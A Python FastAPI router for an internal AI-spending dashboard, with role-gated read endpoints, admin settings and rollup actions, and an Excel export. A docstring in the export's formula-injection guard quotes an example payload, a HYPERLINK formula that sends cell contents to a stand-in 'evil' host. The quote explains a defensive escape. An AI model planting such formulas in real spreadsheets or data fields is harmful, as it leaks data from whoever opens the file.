"""HTTP surface for the AI Spending dashboard.

All endpoints are gated by ``can_view_ai_spending`` (read paths) or
``can_manage_ai_spending`` (write paths — settings update, manual
summary regeneration, resource owner reassignment).

The router itself is thin: parse query parameters, call the service,
return the standard envelope. No business logic lives here.
"""
from __future__ import annotations

import io
import logging
from datetime import UTC, datetime, timedelta
from typing import Annotated
from zoneinfo import ZoneInfo

from fastapi import APIRouter, Depends, HTTPException, Query, Request
from fastapi.responses import StreamingResponse
from sqlalchemy.ext.asyncio import AsyncSession

from app.auth.models import AuthUser
from app.core.database import get_db
from app.core.dependencies import check_sensitive_endpoint_rate_limit, get_current_user
from app.core.exceptions import AppException
from app.core.rbac import (
    can_manage_ai_spending,
    can_view_ai_spending,
)
from app.core.response import success_response
from app.domains.ai_spending.schemas import (
    AiSpendingRollupRefreshBody,
    AiSpendingSettingsUpdate,
    AiSpendingSummaryRegenerateBody,
)
from app.domains.ai_spending.service import AiSpendingService
from app.identity.person_models import IdentityPerson

logger = logging.getLogger(__name__)


router = APIRouter(prefix="/api/v1/ai-spending", tags=["ai-spending"])


# ── Period helper ──────────────────────────────────────────────


# Anchor "this month" to Asia/Shanghai — the prod worker container
# runs UTC, but the finance team reads the dashboard in CN time. At
# Jan 1 00:30 Asia/Shanghai (= Dec 31 16:30 UTC) the previous UTC-only
# helper returned December while every finance reviewer expected
# January. Same root cause as PR #443 cron-TZ fix.
_APP_TZ = ZoneInfo("Asia/Shanghai")


def _default_period() -> str:
    return datetime.now(_APP_TZ).strftime("%Y-%m")


def _require_view(user: AuthUser) -> None:
    if not can_view_ai_spending(user.role_names):
        raise HTTPException(
            status_code=403,
            detail="Forbidden: AI spending dashboard is restricted "
            "to IT admin / finance / auditor.",
        )


def _require_manage(user: AuthUser) -> None:
    if not can_manage_ai_spending(user.role_names):
        raise HTTPException(
            status_code=403,
            detail="Forbidden: only IT admin can mutate AI spending "
            "configuration.",
        )


# ── Read endpoints ─────────────────────────────────────────────


# Query-string length caps — BU names are short org-tree labels
# (the longest at PingCAP is "NA & EMEA Business Group" = 24 chars);
# capping at 128 prevents an attacker from blowing up CPU by passing
# a 1MB ``?bu=...`` string that walks every membership row before the
# Python-side comparison rejects it. Same logic for dimension keys.
_MAX_BU_LEN = 128
_MAX_DIMENSION_KEY_LEN = 256


@router.get("/overview")
async def overview(
    request: Request,
    period: Annotated[str | None, Query(max_length=16)] = None,
    bu: Annotated[str | None, Query(max_length=_MAX_BU_LEN)] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    """Top-of-page summary.

    ``bu`` filters to a single Business Unit (top-level org node).
    Empty string is treated as no filter; unknown BU returns the
    canonical empty payload rather than 404.
    """
    _require_view(current_user)
    p = period or _default_period()
    service = AiSpendingService(db)
    data = await service.get_overview(period=p, bu=bu or None)
    return success_response(data=data, request=request)


@router.get("/breakdown")
async def breakdown(
    request: Request,
    dimension: Annotated[str, Query(max_length=64)] = "user",
    period: Annotated[str | None, Query(max_length=16)] = None,
    bu: Annotated[str | None, Query(max_length=_MAX_BU_LEN)] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    _require_view(current_user)
    p = period or _default_period()
    service = AiSpendingService(db)
    data = await service.get_breakdown(
        period=p, dimension=dimension, bu=bu or None,
    )
    return success_response(data=data, request=request)


@router.get("/detail")
async def detail(
    request: Request,
    dimension: Annotated[str, Query(max_length=64)],
    dimension_key: Annotated[str, Query(max_length=_MAX_DIMENSION_KEY_LEN)] = "",
    period: Annotated[str | None, Query(max_length=16)] = None,
    bu: Annotated[str | None, Query(max_length=_MAX_BU_LEN)] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    """Drill into one breakdown bucket.

    Returns the unaggregated cost rows that compose the bucket so the
    dashboard's drawer can render a "where did this number come from"
    table. ``dimension_key`` defaults to the empty string to address
    the unattributed bucket the breakdown emits as ``dimension_key=null``
    on response (Annotated query strings can't accept None directly).
    """
    _require_view(current_user)
    p = period or _default_period()
    service = AiSpendingService(db)
    data = await service.get_detail(
        period=p, dimension=dimension, dimension_key=dimension_key,
        bu=bu or None,
    )
    return success_response(data=data, request=request)


@router.get("/trend")
async def trend(
    request: Request,
    granularity: Annotated[str, Query(max_length=16)] = "daily",
    lookback_days: Annotated[int, Query(ge=7, le=730)] = 90,
    bu: Annotated[str | None, Query(max_length=_MAX_BU_LEN)] = None,
    dimension: Annotated[str, Query(max_length=32)] = "bucket",
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    """Stacked time series. ``dimension`` defaults to ``bucket`` (the
    legacy ``by_bucket`` payload the sparklines read); ``model`` /
    ``service`` / ``department`` populate ``by_series`` (top-8 + folded
    ``__other__``) so the chart can answer "which model/service/dept is
    trending"."""
    _require_view(current_user)
    service = AiSpendingService(db)
    data = await service.get_trend(
        granularity=granularity, lookback_days=lookback_days,
        bu=bu or None, dimension=dimension,
    )
    return success_response(data=data, request=request)


@router.get("/chargeback")
async def chargeback(
    request: Request,
    period: Annotated[str | None, Query(max_length=16)] = None,
    bu: Annotated[str | None, Query(max_length=_MAX_BU_LEN)] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    """Per-bucket attribution table (replaces the legacy per-resource
    Azure-OpenAI-only chargeback view). Each row maps a bucket's
    natural attribution unit (Foundry RG, Bedrock IAM user, Bailian
    account, seat plan) to its period amount + resolved owner."""
    _require_view(current_user)
    p = period or _default_period()
    service = AiSpendingService(db)
    data = await service.get_bucket_attribution(period=p, bu=bu or None)
    return success_response(data=data, request=request)


# ── New analytics endpoints (replace breakdown drill-down) ─────


@router.get("/movers")
async def movers(
    request: Request,
    period: Annotated[str | None, Query(max_length=16)] = None,
    dimension: Annotated[str, Query(max_length=64)] = "user",
    limit: Annotated[int, Query(ge=1, le=50)] = 10,
    bu: Annotated[str | None, Query(max_length=_MAX_BU_LEN)] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    """Top jumpers + droppers vs the previous period.

    ``dimension`` is one of: ``user`` / ``department`` / ``service`` /
    ``software`` / ``model`` / ``source``. The response carries both
    sides (jumps + drops) so the dashboard can render two stacked
    lists from one fetch.
    """
    _require_view(current_user)
    p = period or _default_period()
    service = AiSpendingService(db)
    data = await service.get_movers(
        period=p, dimension=dimension, limit=limit, bu=bu or None,
    )
    return success_response(data=data, request=request)


@router.get("/forecast")
async def forecast(
    request: Request,
    period: Annotated[str | None, Query(max_length=16)] = None,
    bu: Annotated[str | None, Query(max_length=_MAX_BU_LEN)] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    """Linear month-end projection for the requested period.

    Past periods return ``is_partial=False`` and ``projected_total ==
    mtd_total``. Current month uses MTD pace × remaining days.
    """
    _require_view(current_user)
    p = period or _default_period()
    service = AiSpendingService(db)
    data = await service.get_forecast(period=p, bu=bu or None)
    return success_response(data=data, request=request)


@router.get("/by-bu")
async def by_bu(
    request: Request,
    period: Annotated[str | None, Query(max_length=16)] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    """Spend rolled up per Business Unit (top-level org node).

    Deliberately does NOT accept a ``bu`` filter — the whole point of
    this endpoint is the cross-BU comparison. The frontend's page-wide
    BU dropdown does not propagate to this card; clicking a BU here
    sets the page filter for OTHER cards (KPI / movers / forecast),
    keeping this card as the "where could I narrow to" entry point.
    """
    _require_view(current_user)
    p = period or _default_period()
    service = AiSpendingService(db)
    data = await service.get_by_bu(period=p)
    return success_response(data=data, request=request)


## Per-resource owner assignment endpoint REMOVED in PR #253 — the
## ``cmdb_ai_resources`` table was deleted (migration 151). Bucket
## attribution now flows through the standard cost-allocation rule
## ladder; admins edit allocation rules under ``/cmdb/cost/allocation``
## instead of per-resource owner overrides.


@router.get("/summary")
async def get_summary(
    request: Request,
    period: Annotated[str | None, Query(max_length=7, pattern=r"^\d{4}-(0[1-9]|1[0-2])$")] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    _require_view(current_user)
    if period is None:
        # Default to PREVIOUS calendar month for the summary endpoint —
        # the auto-job populates that on the 1st of each month, so the
        # previous month is the canonical "what we have a summary for"
        # period.
        #
        # MUST be Asia/Shanghai-anchored to match the cron schedule
        # (``5 3 1 * *`` SH). UTC anchoring used to flip the default to
        # the wrong month for ~8 hours each calendar boundary — on
        # 06/01 SH morning the UTC date was still 5/31, so the default
        # resolved to "2026-04" and reviewers saw an empty May summary
        # card on the 06/01 dashboard. PR #626.
        first_of_month = datetime.now(_APP_TZ).date().replace(day=1)
        last_month_end = first_of_month - timedelta(days=1)
        period = f"{last_month_end.year:04d}-{last_month_end.month:02d}"
    service = AiSpendingService(db)
    data = await service.get_summary(period=period)
    return success_response(data=data, request=request)


@router.post("/summary/regenerate")
async def regenerate_summary(
    request: Request,
    body: AiSpendingSummaryRegenerateBody | None = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    _require_manage(current_user)
    person = await db.get(IdentityPerson, current_user.id)
    if person is None:
        raise HTTPException(
            status_code=404,
            detail="Acting user not found in identity_persons.",
        )
    service = AiSpendingService(db)
    try:
        data = await service.regenerate_summary(
            period=(body.period if body else None),
            actor=person,
            trace_id=request.state.trace_id,
        )
    except AppException:
        raise
    await db.commit()
    return success_response(data=data, request=request)


@router.post("/period-rollup/refresh")
async def refresh_period_rollup(
    request: Request,
    body: AiSpendingRollupRefreshBody | None = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
    # Re-materialising a closed month live-recomputes from cmdb_cost_facts
    # (a 2.7M-row table) — rate-limit so a reconciliation-page double-
    # click doesn't stack heavy scans. Same bucket as other sensitive ops.
    _rl: None = Depends(check_sensitive_endpoint_rate_limit),
):
    """Manually re-materialise the closed-month rollup (reconciliation
    cost-drift "重算物化" fix).

    Closed months only — open months are computed live and never
    materialised (400 ``ROLLUP_OPEN_MONTH`` if a current/future period is
    passed). Omit ``period`` to refresh the most-recent 2 closed months.
    Same compute path as the daily ``ai_spending.period_rollup_refresh``
    cron, so a stale-fingerprint / not-materialized drift finding clears
    on the next dashboard read.
    """
    _require_manage(current_user)
    service = AiSpendingService(db)
    data = await service.manual_refresh_rollup(
        period=(body.period if body else None),
        actor_id=current_user.id,
        trace_id=request.state.trace_id,
    )
    await db.commit()
    return success_response(data=data, request=request)


# ── Settings ───────────────────────────────────────────────────


@router.get("/settings")
async def get_settings(
    request: Request,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    _require_view(current_user)
    service = AiSpendingService(db)
    data = await service.get_settings()
    return success_response(data=data, request=request)


@router.patch("/settings")
async def update_settings(
    request: Request,
    body: AiSpendingSettingsUpdate,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    _require_manage(current_user)
    service = AiSpendingService(db)
    data = await service.update_settings(
        body=body,
        actor_id=current_user.id,
        trace_id=request.state.trace_id,
    )
    await db.commit()
    return success_response(data=data, request=request)


@router.post("/settings/test-llm")
async def test_llm(
    request: Request,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    """Ping Bailian with the saved key/region/model to verify it works.

    Admin-only. Returns a structured ``{ok, region, endpoint, model,
    latency_ms, message}`` payload — the UI shows green on ok=true
    or red with the surfaced ``code`` + ``message`` so the admin can
    distinguish "wrong region" from "key revoked" from "free-tier
    exhausted" without reading server logs.
    """
    _require_manage(current_user)
    service = AiSpendingService(db)
    data = await service.test_llm_connection()
    return success_response(data=data, request=request)


# ── Excel export ───────────────────────────────────────────────


@router.get("/export.xlsx")
async def export_xlsx(
    request: Request,
    period: Annotated[str | None, Query(max_length=7, pattern=r"^\d{4}-(0[1-9]|1[0-2])$")] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    _require_view(current_user)
    p = period or _default_period()
    service = AiSpendingService(db)
    overview_data = await service.get_overview(period=p)
    by_user = await service.get_breakdown(period=p, dimension="user")
    by_dept = await service.get_breakdown(period=p, dimension="department")
    by_bucket = await service.get_breakdown(period=p, dimension="bucket")
    by_model = await service.get_breakdown(period=p, dimension="model")
    attribution = await service.get_bucket_attribution(period=p)

    # openpyxl is already a project dep (used by asset import) so this
    # adds no new requirement.
    from openpyxl import Workbook

    def _safe(val):
        """Defuse Excel formula-injection.

        Cells whose first character is one of ``= + - @ \\t \\r``
        are auto-evaluated as formulas. Resource names / owner
        labels / departments come from upstream sources we don't
        fully control (Azure resource tags renamable cloud-side,
        HRIS display names) — a malicious cell value like
        ``=HYPERLINK("http://evil?leak="&A1)`` exfiltrates data
        the moment a finance user opens the export. Prefix the
        value with a single quote (Excel's standard escape: the
        leading apostrophe forces text rendering and isn't shown
        in the cell).
        """
        if isinstance(val, str) and val and val[0] in (
            "=", "+", "-", "@", "\t", "\r"
        ):
            return "'" + val
        return val

    wb = Workbook()
    ws_overview = wb.active
    ws_overview.title = "Overview"
    ws_overview.append([
        "Metric", "USD", "CNY", "Rate (USD per CNY)", "Note",
    ])
    ws_overview.append([
        _safe(f"Total {p}"),
        overview_data.grand_total.usd,
        overview_data.grand_total.cny,
        overview_data.grand_total.usd_per_cny,
        "current period total",
    ])
    if overview_data.previous_grand_total:
        ws_overview.append([
            _safe(f"Previous {overview_data.previous_period}"),
            overview_data.previous_grand_total.usd,
            overview_data.previous_grand_total.cny,
            overview_data.previous_grand_total.usd_per_cny,
            "prior period",
        ])
    if overview_data.yoy_grand_total:
        ws_overview.append([
            _safe(f"YoY {overview_data.yoy_period}"),
            overview_data.yoy_grand_total.usd,
            overview_data.yoy_grand_total.cny,
            overview_data.yoy_grand_total.usd_per_cny,
            "same month last year",
        ])
    ws_overview.append([
        "Active users", overview_data.active_user_count, "", "", "",
    ])
    if overview_data.leaver_residual_amount:
        ws_overview.append([
            "Leaver residual",
            overview_data.leaver_residual_amount.usd,
            overview_data.leaver_residual_amount.cny,
            overview_data.leaver_residual_amount.usd_per_cny,
            "Spend on AI seats held by employees with status=left",
        ])
    ws_overview.append([])
    ws_overview.append(["Bucket breakdown"])
    ws_overview.append([
        "Bucket", "USD", "CNY", "Share %", "MoM change %",
        "List price USD (pre-discount)", "Discount %", "Gross coverage %",
        "Caveat",
    ])
    for b in overview_data.buckets:
        ws_overview.append([
            _safe(b.label_en),
            b.amount.usd, b.amount.cny, b.share_pct,
            b.mom_change_pct if b.mom_change_pct is not None else "",
            b.amount_gross.usd if b.amount_gross is not None else "",
            b.discount_pct if b.discount_pct is not None else "",
            b.gross_coverage_pct,
            _safe(b.data_caveat or ""),
        ])

    def _add_breakdown_sheet(title: str, payload):
        ws = wb.create_sheet(title=title)
        ws.append(["Label", "USD", "CNY", "Share %", "Bucket"])
        for r in payload.rows:
            ws.append([
                _safe(r.label_en),
                r.amount.usd,
                r.amount.cny,
                r.share_pct,
                _safe(r.bucket or ""),
            ])

    _add_breakdown_sheet("By user", by_user)
    _add_breakdown_sheet("By department", by_dept)
    _add_breakdown_sheet("By bucket", by_bucket)
    _add_breakdown_sheet("By model", by_model)

    ws_cb = wb.create_sheet(title="Bucket attribution")
    ws_cb.append([
        "Bucket",
        "Subject",
        "Owner",
        "Department",
        "Resource group / IAM user / scope / software",
        "Request number",
        "USD",
        "CNY",
    ])
    for r in attribution.rows:
        subject = (
            r.resource_group or r.iam_user
            or r.bailian_workspace
            or (str(r.seat_software_id) if r.seat_software_id else "")
            or r.scope_id or ""
        )
        ws_cb.append([
            _safe(r.bucket),
            _safe(r.label_en),
            _safe(r.owner_label or ""),
            _safe(r.owner_department or ""),
            _safe(subject),
            _safe(r.request_number or ""),
            r.period_amount.usd,
            r.period_amount.cny,
        ])

    buffer = io.BytesIO()
    wb.save(buffer)
    buffer.seek(0)

    today = datetime.now(UTC).date().isoformat()
    return StreamingResponse(
        buffer,
        media_type=(
            "application/vnd.openxmlformats-officedocument."
            "spreadsheetml.sheet"
        ),
        headers={
            "Content-Disposition": (
                f"attachment; filename=helix-ai-spending-{p}-{today}.xlsx"
            ),
        },
    )


@router.get("/platform-llm-usage")
async def platform_llm_usage(
    request: Request,
    days: Annotated[int | None, Query(ge=1, le=180)] = None,
    current_user: AuthUser = Depends(get_current_user),
    db: AsyncSession = Depends(get_db),
):
    """Helix's own LLM consumption, by feature.

    The rest of this domain answers "what did the company spend on AI
    vendors". This answers the one consumer that was missing from that
    picture — the platform itself. Tokens and calls only: there is no
    per-model price table in this repo and this endpoint does not
    invent one, so the vendor bill above stays the money truth.

    Lives behind the same ``can_view_ai_spending`` gate as everything
    else here: it is the same question about the same budget, and a
    second gate would only create a way for the two to disagree.
    """
    _require_view(current_user)
    from app.domains.bailian.ledger_read import overview as llm_overview  # noqa: PLC0415

    data = await llm_overview(db, days=days)
    return success_response(data=data, request=request)